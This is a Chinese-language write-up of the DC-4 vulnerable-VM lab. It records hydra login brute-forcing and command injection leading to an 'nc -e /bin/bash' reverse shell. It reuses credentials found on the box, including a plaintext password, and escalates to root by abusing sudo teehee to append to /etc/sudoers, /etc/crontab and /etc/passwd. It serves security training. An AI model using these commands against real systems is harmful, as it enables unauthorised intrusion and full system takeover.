发现靶机IP进一步信息收集
nmap -A -p- 192.168.231.152
对靶机进行目录扫描: dirb http://192.168.231.152
nikto -h http://192.168.231.152
python3 dirmap.py -i http://192.168.231.152 -lcf
python3 dirsearch -u http://192.168.231.152 -e php,txt,zip
index界面提示要用admin账号登陆,
方法一:利用bp进行账号枚举
起代理对admin账户进行密码爆破密码是happy,.
方法二:利用kali-hydra对登陆界面进行账号枚举,抄的freebuf ”FFFcaptain328”作者的
hydra -L <用户名列表> -P <密码字典>
hydra -L dc-4.txt -P rockyou.txt 192.168.231.152 http-post-form "/login.php:username=^USER^&password=^PASS^:no"
登陆以后,有三个选项,查看文件的(files),查看磁盘利用空间(disk usage),查看磁盘还剩多少空间(disk free),通过bp抓包命令是明文传输到服务器执行,可以尝试反弹shell进行下一步操作
存在命令执行漏洞执行uname –a 的返回结果
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686 GNU/Linux
攻击机:nc –lvvp 6666 监听6666端口
靶机: nc –e /bin/bash 192.168.231.152(攻击机ip) 6666 将bash环境反弹到152的6666端口
三个用户都看了下,在jim用户backup目录下发现old-passwords.bak文件
尝试利用可能是jim的ssh账户密码的文件对jim进行ssh密码枚举,因为前面nmap扫描得知是开放着22端口的ssh服务的,一般套路就是ssh枚举连到服务器.
ssh到jim账户下找了找可利用可利用信息,发现有一封管理员发给jim的邮件,顺藤摸瓜去/var/mail下看看是否还有其他的邮件,真就有收获,Charles因请假将密码给了jim托管:Charles:^xHhA&hvim0y
第三步:提权
远程到charles的账户后,思路是判断账户的环境变量是否具有超级用户的权限,
Echo $PATH 发现并没有,通过find –user root –perm -4000 –print 2>/dev/null 查看是否有root权限的命令,
利用sudo –l 查看有一个NO PASSWD就可以执行的命令teehee ,自己可复现的有三种提权方式,teehee的用法是向文件末尾追加配置信息
3.1 通过修改/etc/sudoers 让charles用户有sudo权限
命令:sudo teehee –a /etc/sudoers
追加内容:charles ALL=(ALL:ALL)ALL
3.2 修改计划任务 crontab
charles@dc-4:~$ sudo teehee -a /etc/crontab
* * * * * root chmod 4777 /bin/bash
* * * * * root chmod 4777 /bin/bash
3.3 修改/etc/passwd 最追加新的用户赋予新用户root权限组
charles@dc-4:~$ sudo teehee -a /etc/passwd
luwq::0:0:root:/root:/bin/bash
luwq::0:0:root:/root:/bin/bash
^C
charles@dc-4:~$ su luwq
root@dc-4:/home/charles# ls
4.1 nc使用
4.2 提权原理,知其然知其所以然
4.3 hydra的使用
4.3 渗透思路,要根据系统环境排除过滤一些干扰,大胆尝试.